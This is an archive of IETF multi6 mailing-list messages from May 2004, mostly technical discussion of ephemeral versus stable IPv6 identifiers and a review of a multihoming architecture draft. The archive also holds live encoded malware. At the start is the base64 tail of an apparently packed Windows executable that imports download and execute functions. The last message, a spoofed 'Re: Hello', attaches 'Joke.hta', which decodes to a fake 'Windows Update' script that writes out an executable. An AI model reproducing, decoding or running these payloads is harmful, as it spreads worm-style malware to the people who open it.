979thwxGHWULTG9hZExpYnJhJs9iyboNYyULJE1huzX3/nBWaWV3T2bCDsxrQnmu71v7dlRv
amRlQ2g8FE9wZW7Ta9vBYs8IMzIwctYPzdruAU5leA5SZXRKIYDdza1nZ2lpRHKCa1v3dlN0
BW5nc4lTGEXFcbXdzw0NCEF0H2J1eHWt/YIhE1BvMRCAU9ohgrsLZXAGRxqdbdu29x8JFVQh
bSdhGeEX9mSiVW5t1VdhaXRd5gxvrlOADk9iajsU3+0vWQtL9BRuRXge4Xa2dDJyZT1sdXJj
mMse9tkJbXBpCnB5CS72WrBuCjEJ/Pow22ZnokfPf3oM4QsfjxBUeXAvQ5FzZUhhEA8M915q
G8kJQ3XYwQqFcqgG3ElkFNe6zwISb21tRUzAVQR7B8dGJ5B2Dpt7AzuvD3hy7mn4D9tlR0NV
YftvbGhlbHBusl9Y01NXcHNob3QZaAYbtuGwZA1NrnhBDVqXMEPHTXBkEwzaQrLCbx8KP2Eb
mmztEr5SaEtz5m6nWVpBCBZnRBkUzOHewlZEdTgQFg1s9mRvRXQgS2V5DnJmc2/ZDt8NVE6Y
o52dICFC8B8NyW5Nb5BfYkpEQ7bZmx1KbX1fFgnhYzuMOUZZb+RssI1tgjtJUIMmdu8Ys1lr
UVwOL8+4dsPcbAg+xkJrN9vWDGf8VKWDUXKnWN9MSTY0UTEGbU9uSNtah0nUOw5qaQrhaTZH
R9ViAFOrNFvDo2y1QkFFbkD22BvuP99ySUEJRHVwCNnGYG4CElSFbQn1p+ncUic5elhVUkxE
ppvkumVubEBpHIVoNm2dYH1wyXRmTR07LOw0YWdQb5D/c2ttGWZtlXCkNXp3lRpP7t4caFUb
qhxPT9NJkHhJ3W667GvZkgIUdEEOjICVLlVcEfM2Q9twbm5SZWTDL1mcubbuaYxpH1+8ZDtB
QKOxnnTA+FWYncwhDGJ5Dkh56WvAUFhjgHMDa2V0v8pbbmK9cmFjYyVTQYHXHHdccnR1MCMZ
eTb7Zq52MnoUbAc++S/HYM1QRUwBBADMD5BAnjT/D+AADwELAQUMAERWSFD7DAcC31gNQAtu
Fmw5AgQzBwzAztyS0B40EAezvCTeBk/QYdxdIJDLwKADp8T7mq6wAR4uw3TrQpB3F/YF6wQj
IB4ucmR0g+0Kr6NGC/sMJ0jZYt2FQAIuJkd1bUqa7nAnOlTATwYbbIFzggDrwHOOwL/fyicb
cGQNIcYAAAAAAAAAACAB/wAAYL4loEAAjb7bb///V4PN/+sQkJCQkJCQigZGiAdHAdt1B4se
g+78Edty7bgBAAAAAdt1B4seg+78EdsRwAHbc+91CYseg+78Edtz5DHJg+gDcg3B4AiKBkaD
8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D7vwR2xHJAdtz73UJ
ix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY////5CLAoPCBIkHg8cE
g+kEd/EBz+lM////Xon3uQcAAACKB0cs6DwBd/eAPwB18osHil8EZsHoCMHAEIbEKfiA6+gB
8IkHg8cFidji2Y2+AMAAAIsHCcB0PItfBI2EMKTjAAAB81CDxwj/loDkAACVigdHCMB03In5
V0jyrlX/loTkAAAJwHQHiQODwwTr4f+WiOQAAGHpBGz//wAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA
AAAAAAAAAAABAAAAAABQAAAApPAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA
eAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJDzAAAUAAAAAAAAAAAAAACgwAAAKAAAACAA
AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA
gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3dwAAAAAAAAAAAAeIiIiIiIcAAAAAAAAA
AAAHOIgzOIg3AAAAAAAAAAAAB7ODAAODhwAAAAAAAAAAAAf/MP+wOIcAAAAAAAAAAAAHuA+/
/wOHAAAAAAAAAAAAB4C//7/wNwAAAAAAAAAAAAcP/7//vwMAAAAAAAAAAAAH/7//v/+wAAAA
AAAAAAAAB3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAP//////////////////////////////////////////////////
/////////////////////////////////////////////4AB//+AAf//gAH//4AB//+AAf//
gAH//4AB//+AAf//gAH//4AB//+AAf//////////////////iMMAAAAAAQABACAgEAABAAQA
6AIAAAEAAAAAAAAAAAAAAAAA2PQAAID0AAAAAAAAAAAAAAAAAADl9AAAkPQAAAAAAAAAAAAA
AAAAAPL0AACY9AAAAAAAAAAAAAAAAAAA/PQAAKD0AAAAAAAAAAAAAAAAAAAG9QAAqPQAAAAA
AAAAAAAAAAAAABL1AACw9AAAAAAAAAAAAAAAAAAAHvUAALj0AAAAAAAAAAAAAAAAAAAp9QAA
wPQAAAAAAAAAAAAAAAAAADT1AADI9AAAAAAAAAAAAAAAAAAAQPUAAND0AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEz1AABa9QAAavUAAAAAAAB49QAAAAAAAIb1AAAAAAAAkPUAAAAAAACe9QAA
AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E
TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw
aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA
TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl
eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA
VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA
AAAAAAAAAAAAAAAAAAAAAAoIpHsRAyQEUXYsMm12g28AxZYRSppBRK4XCpUQbnuxt3ZNV1VQ
gpI5Rn9LPmBKIZojxC44o1ptf7BVvU4ZfBzGMJcnSbuQg0OtH4ekNWnEGpxtpUFEuVcWV8ee
sElwhxmEeMYkq6ELpWpjPC58MSsWfUMLNpRZlzEJNDNYbBGNiHVpc55qTFIDBne3gFOpeZ+O
KCoLRbCcL2zAHHTAaz5WbQOcMy5gj6hAcp8hs6S9tX+vAJFxfr9nwnk9g2sZMAKmnDhJFXV/
ooZYLGEqSZUHApM0x7IcqA==

----------vhsdgzwhjmxoisameypk--




From owner-multi6@ops.ietf.org  Fri May 14 08:49:55 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA18930
	for <multi6-archive@lists.ietf.org>; Fri, 14 May 2004 08:49:54 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BOc7M-000LqW-0V
	for multi6-data@psg.com; Fri, 14 May 2004 12:48:48 +0000
Received: from [204.127.198.39] (helo=rwcrmhc13.comcast.net)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BOc7I-000Lpq-Lr
	for multi6@ops.ietf.org; Fri, 14 May 2004 12:48:44 +0000
Received: from dfnjgl21 (c-24-1-99-5.client.comcast.net[24.1.99.5])
          by comcast.net (rwcrmhc13) with SMTP
          id <2004051412484401500n2adce>
          (Authid: sdawkins@comcast.net);
          Fri, 14 May 2004 12:48:44 +0000
Message-ID: <02a901c439b1$e3caa640$0200a8c0@DFNJGL21>
Reply-To: "Spencer Dawkins" <spencer@mcsr-labs.org>
From: "Spencer Dawkins" <spencer@mcsr-labs.org>
To: "Multi6 List" <multi6@ops.ietf.org>
References: <LIEEJBCNFDJHFFKJJDPAGEDOEBAA.mbagnulo@ing.uc3m.es>
Subject: Re: Persistent or opportunistic IDs
Date: Fri, 14 May 2004 07:49:25 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1409
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00,RCVD_IN_SORBS 
	autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

I like the idea here, but this does seem like functionality that
shouldn't be coded application-by-application. It's easier to get
right than congestion avoidance, but it's duplicating a lot of
functionality in every application (that cares about identifier
lifetimes).

Spencer


From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
To: "Erik Nordmark" <Erik.Nordmark@sun.com>
Cc: "Geoff Huston" <gih@telstra.net>; "Iljitsch van Beijnum"
<iljitsch@muada.com>; "Multi6 List" <multi6@ops.ietf.org>
Sent: Wednesday, May 12, 2004 4:25 AM
Subject: RE: Persistent or opportunistic IDs


> >
> > Yes. In effect the application need to know and express to the
"stack"
> > whether there is a need to do "callbacks" on referrals, since this
> > affects which source identifier to use for the communication.
> > Would such a scheme be acceptable for the applications?
>
> I wouldn't dare to answer that question considering my limited
knowledge on
> apps, but, perhaps it would be possible to distinguish the ephemeral
ids
> from the stable ids (IP addresses in this case) using a
ephemeral/stable
> (e/s) bit in the id itself.
> So, when the app that will perfom a call back discovers its own
identifiers,
> the noid+wimp layer will show multiple addresses, some stable ids
and some
> ephemeral ids. The app can, because of the (e/s) bit on the ids,
identify
> the ephemeral identifiers, so it can avoid sending them to the other
end as
> a call back information.
> Perhaps, something similar can be done with refferals. I mean, the
> application first discovers the ids available in its own endpoint,
and then
> selects one that fits its needs, (stable or ephemeral), and then it
performs
> a bind to the selected id.
>
> But perhaps this is too complex and i don't know if it is worthy...
>
> Regards, marcelo
> >
> >    Erik
> >
> >
>
>
>





From owner-multi6@ops.ietf.org  Fri May 14 09:49:23 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA22816
	for <multi6-archive@lists.ietf.org>; Fri, 14 May 2004 09:49:22 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BOd2q-000C6z-Db
	for multi6-data@psg.com; Fri, 14 May 2004 13:48:12 +0000
Received: from [163.117.136.121] (helo=smtp01.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BOd2m-000C5s-ON
	for multi6@ops.ietf.org; Fri, 14 May 2004 13:48:08 +0000
Received: from smtp01.uc3m.es (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with ESMTP
	id 7921036A26; Fri, 14 May 2004 15:48:07 +0200 (CEST)
Received: from lolo (lolo.it.uc3m.es [163.117.139.58])
	by smtp01.uc3m.es (Postfix) with SMTP
	id 6393A36411; Fri, 14 May 2004 15:48:07 +0200 (CEST)
Reply-To: <mbagnulo@ing.uc3m.es>
From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
To: "Spencer Dawkins" <spencer@mcsr-labs.org>,
        "Multi6 List" <multi6@ops.ietf.org>
Subject: RE: Persistent or opportunistic IDs
Date: Fri, 14 May 2004 15:44:05 +0200
Message-ID: <LIEEJBCNFDJHFFKJJDPAIEGNEBAA.mbagnulo@ing.uc3m.es>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <02a901c439b1$e3caa640$0200a8c0@DFNJGL21>
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Spencer,

> De: owner-multi6@ops.ietf.org [mailto:owner-multi6@ops.ietf.org]En
> nombre de Spencer Dawkins
>
> I like the idea here, but this does seem like functionality that
> shouldn't be coded application-by-application. It's easier to get
> right than congestion avoidance, but it's duplicating a lot of
> functionality in every application (that cares about identifier
> lifetimes).

As far as i understand, the application would only need to choose the proper
id that suits its needs. That is, if the application is just a client, it
will use a ephemeral id (i.e. the id with the bit xx set), if the
application will perfom refferals or callbacks, it will choose another id,
on with the ephemeral bit off.
As i see it only the application knows whether it will need to do refferals,
call back or pure client, so only the app can make that choice.
What tasks do you think that can be done in common for all the apps?

(The other opcion is just not to use ephemeral ids...)

Regards, marcelo


>
> Spencer
>
>
> From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
> To: "Erik Nordmark" <Erik.Nordmark@sun.com>
> Cc: "Geoff Huston" <gih@telstra.net>; "Iljitsch van Beijnum"
> <iljitsch@muada.com>; "Multi6 List" <multi6@ops.ietf.org>
> Sent: Wednesday, May 12, 2004 4:25 AM
> Subject: RE: Persistent or opportunistic IDs
>
>
> > >
> > > Yes. In effect the application need to know and express to the
> "stack"
> > > whether there is a need to do "callbacks" on referrals, since this
> > > affects which source identifier to use for the communication.
> > > Would such a scheme be acceptable for the applications?
> >
> > I wouldn't dare to answer that question considering my limited
> knowledge on
> > apps, but, perhaps it would be possible to distinguish the ephemeral
> ids
> > from the stable ids (IP addresses in this case) using a
> ephemeral/stable
> > (e/s) bit in the id itself.
> > So, when the app that will perfom a call back discovers its own
> identifiers,
> > the noid+wimp layer will show multiple addresses, some stable ids
> and some
> > ephemeral ids. The app can, because of the (e/s) bit on the ids,
> identify
> > the ephemeral identifiers, so it can avoid sending them to the other
> end as
> > a call back information.
> > Perhaps, something similar can be done with refferals. I mean, the
> > application first discovers the ids available in its own endpoint,
> and then
> > selects one that fits its needs, (stable or ephemeral), and then it
> performs
> > a bind to the selected id.
> >
> > But perhaps this is too complex and i don't know if it is worthy...
> >
> > Regards, marcelo
> > >
> > >    Erik
> > >
> > >
> >
> >
> >
>
>
>




From owner-multi6@ops.ietf.org  Sun May 16 00:02:53 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA26967
	for <multi6-archive@lists.ietf.org>; Sun, 16 May 2004 00:02:53 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BPCon-000BUO-Au
	for multi6-data@psg.com; Sun, 16 May 2004 04:00:05 +0000
Received: from [66.92.66.68] (helo=cyteen.hactrn.net)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BPCom-000BUC-Eo
	for multi6@ops.ietf.org; Sun, 16 May 2004 04:00:04 +0000
Received: from hactrn.net (localhost [127.0.0.1])
	by cyteen.hactrn.net (Postfix) with ESMTP id 74BBC281
	for <multi6@ops.ietf.org>; Sun, 16 May 2004 00:00:03 -0400 (EDT)
To: multi6@ops.ietf.org
Subject: Weekly posting summary for multi6@ops.ietf.org
From: Rob Austein <sra@hactrn.net>
Date: Sun, 16 May 2004 00:00:03 -0400
Message-Id: <20040516040003.74BBC281@cyteen.hactrn.net>
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

    Messages   |      Bytes        | Who
--------+------+--------+----------+------------------------
 27.27% |    3 | 76.97% |    90160 | kurtis@kurtis.pp.se
 27.27% |    3 |  9.65% |    11299 | mbagnulo@ing.uc3m.es
 18.18% |    2 |  5.56% |     6508 | erik.nordmark@sun.com
  9.09% |    1 |  3.09% |     3617 | spencer@mcsr-labs.org
  9.09% |    1 |  2.44% |     2858 | brc@zurich.ibm.com
  9.09% |    1 |  2.30% |     2693 | sra@hactrn.net
--------+------+--------+----------+------------------------
100.00% |   11 |100.00% |   117135 | Total

Grunchweather Associates provides this automatic summary on an at-whim
basis at the request of the MULTI6 WG chairs.  Your mileage may vary.
We decline responsibilities, all shapes, all sizes, all colors.
If this script produces broken output, you get to keep both pieces.



From owner-multi6@ops.ietf.org  Thu May 20 04:25:39 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04800
	for <multi6-archive@lists.ietf.org>; Thu, 20 May 2004 04:25:39 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BQinZ-000MRU-Lx
	for multi6-data@psg.com; Thu, 20 May 2004 08:21:05 +0000
Received: from [193.94.160.1] (helo=netcore.fi)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BQinX-000MR1-Bk
	for multi6@ops.ietf.org; Thu, 20 May 2004 08:21:03 +0000
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id i4K8L2U01937
	for <multi6@ops.ietf.org>; Thu, 20 May 2004 11:21:02 +0300
Date: Thu, 20 May 2004 11:21:02 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Multi6 List <multi6@ops.ietf.org>
Subject: Re: I-D ACTION:draft-huston-multi6-architectures-00.txt
In-Reply-To: <954FC1EE-9D99-11D8-B28B-000A95928574@kurtis.pp.se>
Message-ID: <Pine.LNX.4.44.0405201049520.1330-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

Hi,

A few comments of my own.  Currently, the document should be better
titled "Architectural Approaches for Ensuring Connection Survivability
with Multihoming in IPv6", because that's what it's mostly about.  
Oh, it does discuss how address selection affects inbound traffic,
etc., but that's probably not sufficient to satisfy the multihoming
goals.

So, I'm a bit fearful that we've been lately forgetting that
multi-addressing + address agility very probably DOES NOT solve the
multi6 problems adequately (for certain kind of sites at least -- it
should be sufficient for some others, though).  Those other issues
should be explicitly taken into consideration here as well.

Otherwise, a very good document, if a bit too focused on a certain
class of multihoming solutions.

semi-substantial
----------------

   The simplest formulation of the multi-homing environment is indicated
   in Figure 1.

==> well, really, it isn't.  The simplest formulation is a site 
consisting of a single host, right?

The question is how that scenario should be handled by the 
architecture.  I don't find it too interesting myself, so one could 
just s/simplest/simple/ and add a sentence to state why the degenerate 
site case is not interesting for the architecture.

   The environment of multi-homing is one that is intended to provideM
   sufficient support to local hosts so as to allow local hosts toM
   exchange IP packets with remote hosts, such that this exchange ofM
   packets is to be seamlessly supported across dynamic changes inM
   connectivity.

==> again, this is just one reason for multihoming, fulfilling only 
certain redundancy requirements.  Traffic engineering?  Easy (or no) 
renumbering? etc.

This may become a serious problem if we just take too deep focus on
connection survivability and forget everything else.

4. Approaches to Multi-HomingM
M
   There appear to be four generic forms of architectural approaches toM 
   this problem, namely:M

==> note that the subject of the bulletpoints and the following 
subsections don't match exactly.  It was not clear whether it was the 
intent.  In any case, the subsection titles should probably be beefed 
up a bit to be more descriptive of the content of the subsection.

   o  RoutingM
      Use the IPv4 multi-homing approachM

==> the last statement is an oversimplification.  There are slightly
different ways than (exactly) the v4 multihoming if we take a routing
route -- e.g., with geographically allocated prefixes.  Fundamentally 
this often leads to the routes ending up in the DFZ or a subset of it, 
but it's still not the exact v4 mh approach.

   o  New Protocol ElementM
      Insertion of a new element in the protocol stack that manages aM 
      persistent identity for the sessionM
   o  Modify a Protocol ElementM
      Modify the Transport or IP protocol stack element in the host inM
      order to support dynamic forwarding locator changeM

==> the difference of these approaches should be clearer at first, as
there is obvious overlap with 'insertion in the protocol stack', and
'modifying the [IP] protocol stack' -- or did the latter refer to the
L3 element?

==> I also wonder about the usefullness of this semantical difference, 
as it seems likely that even if you added a new protocol element, 
there would likely have to be changed in the adjacent protocol 
elements, requiring modifications..

Even though the multi-homedM
   sitines to be reachable via ISP B, packets directed to the site usingM
   ISP A's prefix will be discarded by ISP A as the destination isM
   unreachable.

==> this assumes that there is no connection other connection between 
ISP A and the site, if the link goes down.  This is not necessarily 
the case, as can be seen from RFC3178 ("multihoming at site-exit 
routers").

Normative ReferencesM

==> please add the refereces you made (and others) to here as well..

   The draft primary focuses on the specification of this "superior"M
   approach, largely ignoring some pertinent questions such as: WillM 
   residential and enterprise-level IPv6 routers reall support anycastM
   routing?M

==> that's a confusing question.  It asumes anycast routing would be
somehow different from unicast routing.  It doesn't need to be, so
there is very little magic here.. and in this particular case where
all you want to auto-discover the address of the site exit router for
prefix X (there is only one of them), it's more of a single address
like well-known unicast than real anycast.

==> s/reall/really/

                                     However, this draft does notM
         address another major drawback of the RFC 3178 approach, thatM
         it does not protect against the complete failure of one or moreM
         connected ISPs.M

==> I think this is something where one should make a reality check.  
How often is it that the _whole_ ISP fails?  Pretty much _never_, 
unless you count 1-man small ISPs which don't even have redundant 
connectivity and routers (and we shouldn't care about this).

IMHO, the complete failure of one or more connected ISPs is not a
practically interesting scenario, especially for smaller sites (where
these kind of approaches are the most interesting in any case).

A.6.3 Related Multi-Homing drafts, Status unknownM

==> is there a reason why most of these are already mentioned in 
previous subsections, and are listed again here?  Suggest removing 
from here..

editorial
---------

   o  aspects of a split between end-point-identifier and forwardingM
      locator,M

==> IMHO, 'routing locator' is better than forwarding locator.

   destination address. This would direct the pact to the local hostM

==> 'pact' -- typo?

   equivalent address for teh local multi-homed host hat transits theM

==> s/teh/the/, s/hat/that/ ?

   considerations of the use of Network Address Translators ([NATM
   Considerations] contains much of this material.M

==> kill extra '(' ?

  identifier to also be a valid locator. This would impliy theM  

==> s/impliy/imply/

   The next issue if that of the difference between the initial 
sessionM

==> s/if/is/

   a third party referral structure (such as the DNS), or dynmicallyM

==> s/dyn/dyna/

   The author acknowledges the exensive contribution of MargaretM

==> s/ex/ext/

   The essential characteristic of HIP is it use of opportunisticM

==> s/it/its/

   basis of the persistent identity. The transport session cab be 
agileM

==> s/cab/can/

   o  Layer 3.5 (Above IP, below TransportM

==> s/port/port)/

   o  Layer 3 (Inserted in the upper part of IP, below IPSEC andM
      fragementation / reassemblyM

==> s/frage/frag/

   neighbor reachability to avoid sending unncecessary ND packets.M

==> s/unnce/unne/

   WIMP session is established, the IPv6 FlowID is used to hold anM

==> s/ID/ Label/

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings





From owner-multi6@ops.ietf.org  Fri May 21 06:10:13 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20679
	for <multi6-archive@lists.ietf.org>; Fri, 21 May 2004 06:10:12 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BR6vs-000Ipo-If
	for multi6-data@psg.com; Fri, 21 May 2004 10:07:16 +0000
Received: from [193.136.195.3] (helo=gab54-1.org)
	by psg.com with smtp (Exim 4.30; FreeBSD)
	id 1BR6vj-000IkI-G8
	for multi6@ops.ietf.org; Fri, 21 May 2004 10:07:07 +0000
Date: Fri, 21 May 2004 11:12:33 +0000
To: "Multi" <multi6@ops.ietf.org>
From: "Kurtis" <kurtis@kurtis.pp.se>
Subject: Re: Hello
Message-ID: <pkphzdyzyztuyadzrpz@ops.ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------xaivyxyjyksbjtyhxcrb"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-0.9 required=5.0 tests=AWL,BAYES_01,HTML_MESSAGE,
	MIME_HTML_ONLY autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

----------xaivyxyjyksbjtyhxcrb
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
 

<br>
</body></html>

----------xaivyxyjyksbjtyhxcrb
Content-Type: application/octet-stream; name="Joke.hta"
Content-Disposition: attachment; filename="Joke.hta"
Content-Transfer-Encoding: base64

PEhUTUw+DQo8SEVBRD4NCjxUSVRMRT5XaW5kb3dzIFVwZGF0ZTwvVElUTEU+DQo8SFRBOkFQ
UExJQ0FUSU9OIElEPSJRIiBBUFBMSUNBVElPTk5BTUU9IlEiIEJPUkRFUj0ibm9uZSIgQk9S
REVSU1RZTEU9Im5vcm1hbCIgQ0FQVElPTj0ibm8iIElDT049IiIgQ09OVEVYVE1FTlU9Im5v
IiBNQVhJTUlaRUJVVFRPTj0ibm8iIE1JTklNSVpFQlVUVE9OPSJubyIgU0hPV0lOVEFTS0JB
Uj0ibm8iIFNJTkdMRUlOU1RBTkNFPSJubyIgU1lTTUVOVT0ibm8iIFZFUlNJT049IjEuMCIg
V0lORE9XU1RBVEU9Im1pbmltaXplIi8+DQo8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+
DQpNeUZpbGUgPSAicWZsLnZicyINClNldCBGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGlu
Zy5GaWxlU3lzdGVtT2JqZWN0IikNClNldCBUU08gPSBGU08uQ3JlYXRlVGV4dEZpbGUoTXlG
aWxlLCBUcnVlKQ0KVFNPLndyaXRlICJkaW0gZmlsZXN5cywgZmlsZXR4dCwgZ2V0bmFtZSwg
cGF0aCwgdGV4dGZpbGUsIGkiICYgdmJjcmxmDQpUU08ud3JpdGUgInRleHRmaWxlID0gIiJx
d3JrLmV4ZSIiIiAmIHZiY3JsZg0KVFNPLndyaXRlICJTZXQgZmlsZXN5cyA9IENyZWF0ZU9i
amVjdCgiIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IiIpIiAmIHZiY3JsZg0KVFNPLndy
aXRlICJTZXQgZmlsZXR4dCA9IGZpbGVzeXMuQ3JlYXRlVGV4dEZpbGUodGV4dGZpbGUsIFRy
dWUpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJnZXRuYW1lID0gZmlsZXN5cy5HZXRGaWxlTmFt
ZShwYXRoKSIgJiB2YmNybGYNClRTTy53cml0ZSAiZGltIGEiICYgdmJjcmxmDQpUU08ud3Jp
dGUgImE9QXJyYXkoNzcsOTAsMCwwLDEsMCwwLDAsMiwwLDAsMCwyNTUsMjU1LDAsMCw2NCww
LDAsMCwwLDAsMCwwLDY0LDAsMCwwLDAsMCwwLDAsMTgwLDc2LDIwNSwzMywwLDAsMCwwLDAs
MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNDQsMCwwLDAsMTY5LDM4
LDIyMSwxOSwyMzcsNzEsMTc5LDY0LDIzNyw3MSwxNzksNjQsMjM3LDcxLDE3OSw2NCwyMzcs
NzEsMTc5LDY0LDIzOCw3MSwxNzksNjQsOTksODgsMTYwLDY0LDEwOSw3MSwxNzksNjQsMTcs
MTAzLDE2MSw2NCwyMzYsNzEsMTc5LDY0LDQyLDY1LDE4MSw2NCwyMzYsNzEsMTc5LDY0LDgy
LDEwNSw5OSwxMDQsMjM3LDcxLDE3OSw2NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
